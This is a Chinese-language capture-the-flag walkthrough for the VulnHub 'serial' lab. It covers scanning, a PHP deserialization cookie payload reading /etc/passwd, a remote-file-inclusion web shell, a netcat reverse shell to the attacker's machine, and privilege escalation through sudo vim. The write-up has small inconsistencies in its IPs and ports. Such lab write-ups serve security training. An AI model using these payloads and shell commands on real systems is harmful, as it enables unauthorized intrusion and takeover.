靶机下载地址
https://download.vulnhub.com/serial/serial.zip
主机发现
arp-scan -l

端口扫描
nmap 192.168.229.131 -A

根据对⽐可知serial的⼀个ip地址为192.168.47.143
该靶机开启了22端⼝和80端⼝

对⽹站进⾏⼀个访问,⼤概意思为这是对新的cookie处理程序的测试版暂且搁置
目录扫描
dirb http://192.168.229.131

访问网站

发现⼀个zip⽂件
解压查看
index.php⽂件中包含user.class.php⽂件且对cookie中的user参数进⾏了序列化和base64编码

user.class.php⽂件包含log.class.php⽂件且定义了Welcome和User两个类并调⽤了
log.class.php⽂件中的handler函数

log.class.php定义了Log类和成员变量type_log且handler函数对变量进⾏了⽂件包含和输出

没有得到有用的信息
访问原⽹站,⽤Burpsuite抓包查看cookie

发现其为base64编码,对其进行解码

O:4:"User":2:{s:10:".User.name";s:3:"sk4";s:9:".User.wel";O:7:"Welcome":0:{}}7.
构造payload,尝试读取passwd⽂件
O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:
8:"type_log";s:11:"/etc/passwd";}}
使⽤base64编码
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHd
lbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIj
t9fQ==

获取shell
在本机写一个txt
<?php system($_GET['cmd'];?>
在创建一个木马文件
<?php
class Log {
private $type_log = "http://本机ip/1.txt";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
访问php文件

在kali开启一个监听

反弹shell
?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.229.132
+8888+>/tmp/f

反弹成功

提权
查看系统版本,内核版本
![]()
切换到根目录
cd /
ls

查看文件
cat credentials.txt.bak

使用远程连接使用之前扫出来的21端口
ssh sk4@192.168.229.131

尝试进入root

用sudo vim,进⼊到命令模式输⼊!bash

以下则是提权成功



















